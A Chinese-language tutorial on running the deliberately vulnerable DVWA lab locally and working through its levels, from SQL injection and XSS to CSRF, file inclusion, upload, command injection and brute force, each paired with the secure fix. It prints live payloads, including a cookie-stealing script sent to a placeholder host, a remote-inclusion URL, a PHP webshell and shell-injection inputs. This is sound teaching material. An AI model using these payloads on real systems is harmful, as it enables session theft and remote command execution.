主题
本地靶场 DVWA:搭起来、玩明白
工具学会了,但对着真实网站你什么都动不了,也不该动。所以你需要一个专门设计来被打的网站:它故意留着漏洞,随时可以重置,打坏了不影响任何人。这一课我们把 DVWA 在你自己的机器上跑起来,然后一关一关走过去。
一、为什么必须有靶场
| 真实网站 | 本地靶场 | |
|---|---|---|
| 合法性 | 未经授权测试即违法 | 完全合法,是你自己的机器 |
| 可控性 | 你不能改它的配置 | 难度可调,代码可读,随时开关 |
| 可重复 | 打一次就留下痕迹 | 点一下 Reset 就能重来 |
| 学习效率 | 出错就出事了 | 出错正好观察报错,学到最多 |
核心逻辑:你需要的不是"一个目标",而是"一个允许你失败很多次的目标"。 靶场就是给你失败用的。同时记住:永远不要把带漏洞的靶场部署到公网——它天生没有防护,放上去几小时内就会被扫描器找到并当成跳板。只在虚拟机或本机 localhost 上跑。
二、DVWA 是什么,四个等级怎么选
DVWA(Damn Vulnerable Web Application)是一个用 PHP + MySQL 写的故意有漏洞的 Web 应用。它最大的价值在于同一个漏洞有四个安全等级,你能对照着看"防护是怎么一步步加上去的":
| 等级 | 代码特点 | 你的任务 | 对应的现实 |
|---|---|---|---|
| Low | 完全不做任何过滤,直接拼接 | 理解漏洞原理 | 上世纪的网站 |
| Medium | 做了简单过滤(黑名单、转义函数) | 找到绕过方式 | 半吊子防护的真实系统 |
| High | 过滤更严(白名单、参数化查询) | 明白为什么难打了 | 有安全意识但有小疏漏 |
| Impossible | 正确写法(预处理、令牌、转义) | 读代码,理解正确姿势 | 教科书级安全实现 |
顺序建议:先打 Low 搞懂原理 → 再看 High 为什么打不动 → 最后读 Impossible 的源码学正确写法。只看 Low,你会以为安全就是"过滤几个关键字",那是错的。
三、搭法 A:用你现成的 VMware + CentOS 7
你手上正好有一台 CentOS 7 的 NAT 虚拟机,用它最顺手。
第 1 步:在虚拟机里装 LAMP
bash
sudo yum install -y httpd mariadb-server mariadb php php-mysql php-gd php-mbstring unzip
sudo systemctl enable --now httpd mariadb第 2 步:初始化数据库(mysql_secure_installation 走完后给 root 设个密码,下面假设是 root)
bash
sudo mysql -uroot -proot # 进入 MySQL,接着执行下面三行 SQLsql
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES;第 3 步:下载并部署 DVWA
bash
cd /var/www/html
sudo wget https://github.com/digininja/DVWA/archive/refs/heads/master.zip
sudo unzip master.zip && sudo mv DVWA-master dvwa
sudo cp dvwa/config/config.inc.php.dist dvwa/config/config.inc.php
sudo chown -R apache:apache dvwa第 4 步:改配置——编辑 dvwa/config/config.inc.php,填对这四行就够(recaptcha 两项留空即可):
php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';第 5 步:处理 CentOS 7 的两个经典拦路虎
bash
sudo setsebool -P httpd_can_network_connect_db 1 # SELinux 允许 httpd 连数据库
sudo firewall-cmd --permanent --add-port=80/tcp && sudo firewall-cmd --reload第 6 步:宿主机怎么访问虚拟机(NAT 模式关键点)
NAT 模式下虚拟机在 VMware 的 vmnet8 网段里,宿主机其实可以直接访问它:
- 在虚拟机里执行
ip addr,找到类似192.168.152.128的地址(inet 那一行); - 回到 Windows,浏览器访问
http://192.168.152.128/dvwa; - 打不开就先用
ping 192.168.152.128验证连通性,再查虚拟机里systemctl status httpd是否 running、firewall-cmd是否真的放行了。
一个要注意的坑:NAT 下虚拟机通常无法反连你的宿主机。所以抓包要反过来做——在 Windows 上跑 Burp,浏览器指向虚拟机里的靶场,这是最顺的路径。
四、搭法 B:Windows 上用 XAMPP / phpStudy(最省事)
- 安装 XAMPP(
https://www.apachefriends.org/)或 phpStudy,启动 Apache 和 MySQL; - 把 DVWA 文件夹放进
C:\xampp\htdocs\并重命名为dvwa; - 复制
config/config.inc.php.dist为config/config.inc.php,改成 root + 空密码:
php
$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = '';- 在 phpMyAdmin(
http://localhost/phpmyadmin)执行CREATE DATABASE dvwa;; - 浏览器打开
http://localhost/dvwa。
两种方式选一个就行。虚拟机的好处是隔离:你把靶场玩坏、装一堆 webshell 样本,也污染不到宿主机;Windows 直装的好处是快。建议:学习期用 XAMPP 快速过一遍,正式练习用虚拟机。
五、初始化与登录
- 访问
/dvwa/setup.php,页面底部点 Create / Reset Database; - 报数据库连接失败,就回去检查
config.inc.php的配置和 MySQL 是否在跑; - 成功后跳到
login.php,默认账号 admin / password(失败可试gordonb/abc123); - 登录后左下角 DVWA Security 把等级设为 Low,正式开始。
六、通关路线:七关怎么想
6.1 SQL Injection(SQL 注入)
- Low 怎么想:URL 是
?id=1,页面回显用户名,说明这个1被直接拼进了 SQL。先输1'看是否报错确认拼接,再1' OR '1'='1看是否返回全部记录,最后用ORDER BY猜列数、用UNION SELECT捞出库名表名。 原理:用户输入被当成了 SQL 代码而不是数据。回看 SQL 基础——拼接点就是注入点。 - High 为什么打不动:加了转义和限制,且页面变成了二次跳转,手工 payload 容易在跳转中丢掉。思路要从"改 URL"转向"抓包后在 Repeater 里直接改 POST 参数"。
- Impossible 怎么修的:用预处理语句(Prepared Statement),
bind_param('s', $id)把参数和 SQL 结构彻底分离——用户输入永远只是值。这是唯一真正的解法,黑名单过滤都不是。
6.2 XSS Reflected(反射型跨站脚本)
- Low 怎么想:输入框的内容直接出现在页面里,输
<script>alert(1)</script>就弹窗。再进一步:<script>document.location='http://你的靶机/steal?c='+document.cookie</script>就是经典的 Cookie 窃取。 原理:用户输入被当作 HTML/JS 代码渲染,浏览器执行了它。回看 JavaScript 与 Cookie 与 Session:Cookie 被偷走,会话就被人接管。 - High 为什么打不动:High 用
htmlspecialchars把<>变成实体,脚本变成了页面上的文字。但要留意——它的过滤只覆盖了一部分场景,真实系统里"只转义了某几个参数"是常态。 - Impossible 怎么修的:所有输出统一用
htmlspecialchars($name, ENT_QUOTES),让"数据永远只是数据"。
6.3 XSS Stored(存储型跨站脚本)
- Low 怎么想:在留言板输入
<script>alert(1)</script>,提交后刷新页面还会弹——因为内容进了数据库,每个访客都会中招,不需要骗人点特定链接。 原理:注入点从"当次响应"变成了"数据库里的持久化数据",危害面从一个人变成一个站的所有人。 - High 为什么打不动:同 6.2,输出被转义;代码里还对
message字段做了额外黑名单过滤,理论上仍有绕过空间。 - Impossible 怎么修的:输出转义 + 长度限制 + 内容过滤叠加,且存进库的是原文、输出时才转义——这就是"存储与展示分离"。
6.4 CSRF(跨站请求伪造)
- Low 怎么想:这一关是"改密码"页。先正常改一次密码,用 Burp 看请求——如果只有
password_new、password_conf、Change三个参数,没有任何证明"这是本人操作"的东西,就可以伪造。在自己机器上写一个 HTML 文件:
html
<img src="http://靶场IP/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">用已登录的浏览器打开它,密码就被静默改掉了——图片加载自动发请求,你什么都不用点。 原理:浏览器会自动带上目标站点的 Cookie,服务器看到 Cookie 有效就当你本人操作,无法区分"你主动提交的"和"别的网站替你发的"。
- High 为什么打不动:High 增加了
user_token,每次提交都必须带对且被校验。攻击者事先不知道这个随机令牌,伪造请求就失效。 - Impossible 怎么修的:除了 Token,还强制输入当前密码——最朴素也最有效:关键操作必须重新证明身份。
6.5 File Inclusion(文件包含)
- Low 怎么想:URL 形如
?page=include.php。改成?page=/etc/passwd若回显系统账号列表,是本地文件包含(LFI);改成?page=http://攻击者服务器/shell.txt若被执行,是远程文件包含(RFI)。 原理:程序把用户输入直接传给了include()/require(),而 PHP 会把被包含的文件当代码执行——所以哪怕只是读出/etc/passwd,危害也已远超"信息泄露"。 - High 为什么打不动:High 只放行
include.php这类白名单开头的值,堵死了http://和绝对路径。 - Impossible 怎么修的:白名单映射——只接受
file1file2file3几个固定值,再用数组映射到真实文件名,输入根本不参与路径拼接。
6.6 File Upload(文件上传)
- Low 怎么想:上传一个内容为
<?php echo shell_exec($_GET['cmd']); ?>的shell.php,上传成功会告诉你访问路径。浏览器访问.../hackable/uploads/shell.php?cmd=whoami,若回显apache,你已经能在服务器上执行命令了。 原理:上传目录在 Web 根目录下,且服务器会执行.php。"能上传" + "能执行" = 能拿服务器。 - High 为什么打不动:限制了后缀和 MIME 类型,只允许
.jpg.png这类图片,并把文件重命名。 - Impossible 怎么修的:白名单后缀 + 重命名之外,还把上传目录的执行权限关掉(或存到 Web 根目录之外)。这条最值得记住:防御要加在架构层,而不是只加在代码层的 if 判断上。
6.7 Command Injection(命令注入)
- Low 怎么想:页面让你输 IP 做 ping。输
127.0.0.1正常,输127.0.0.1; whoami却回显了apache——说明输入被拼进了 shell 命令。再试|、&&、反引号这些分隔符。 原理:程序写了shell_exec("ping -c 4 " . $ip)这种代码。Shell 元字符让用户输入变成了新命令。 - High 为什么打不动:过滤了
&&、;等常见分隔符(黑名单)。思路是找它漏掉的分隔符,比如|或换行。 - Impossible 怎么修的:用
escapeshellarg()转义参数,并限制输入只能是合法 IP——先校验格式,再转义,最后才拼命令。
6.8 Brute Force(暴力破解)
- Low 怎么想:登录页没有失败次数限制。用 Burp Suite 的 Intruder,先用 Sniper 跑用户名,再用 Cluster bomb 跑"用户名 × 密码字典",按响应长度排序找异常那一条。 原理:系统既不限制尝试次数也不延迟响应,"密码空间"就变得可以被穷举。
- High 为什么打不动:High 给登录失败加了随机延迟,爆破从几秒变成几小时,实用性大幅下降。
- Impossible 怎么修的:连续失败 3 次锁定账号 + 强制记录审计日志。限制尝试频率才是根本手段。
七、每一步都对照前两个阶段的原理
- 看见
?id=1能注入,是因为你学过 SQL 知道语句怎么拼; - 看见 XSS 能弹窗,是因为你学过 JavaScript 知道浏览器会执行页面里的脚本;
- 看见 CSRF 能生效,是因为你学过 Cookie 与 Session 知道浏览器会自动带凭证;
- 看见文件包含、上传、命令注入能打通,是因为你学过 服务器与后端 知道请求最终会被后端代码处理。
漏洞不是玄学,漏洞是"你写的代码把数据当成了命令"。 这句话贯穿七关。
💡 动手实验 1:按上面任一方式把 DVWA 跑起来,打开
setup.php点 Create / Reset Database,然后登录admin / password,确认首页出现Welcome to Damn Vulnerable Web Application!。
💡 动手实验 2:把 DVWA Security 设为 Low,进 SQL Injection,依次输入
1、1'、1' OR '1'='1,记下三次响应的差异;再切到 Impossible 输一遍1' OR '1'='1,看它如何把这个输入当普通字符串处理。这两次对比就是你理解"预处理语句"的全部。
💡 动手实验 3:在 Low 难度下打一遍 Command Injection,输入
127.0.0.1; whoami和127.0.0.1; ip addr。只在你自己的这台靶机上做,绝不要把这里的 payload 用到任何其他地址上。
八、小结
text
搭起来(虚拟机 LAMP 或 Windows XAMPP)→ 初始化 setup.php → admin/password
每关三问:输入是什么 → 送到哪去了 → 为什么会执行
Low 打原理 → High 找绕过 → Impossible 学正确写法- 靶场的意义在于允许你反复失败,而且不伤害任何人;
- Low 只是让你兴奋,High 才让你思考,Impossible 才教你写代码;
- 你在这里学会的每一个 payload,都只属于这里。
想复习报文层怎么改参数、怎么重放请求,回看 Burp Suite 上手;动手之前务必读完 法律红线;想回顾浏览器如何处理页面里的脚本,回看 JavaScript。
📎 本课对应知识库阅读:《SQL 注入》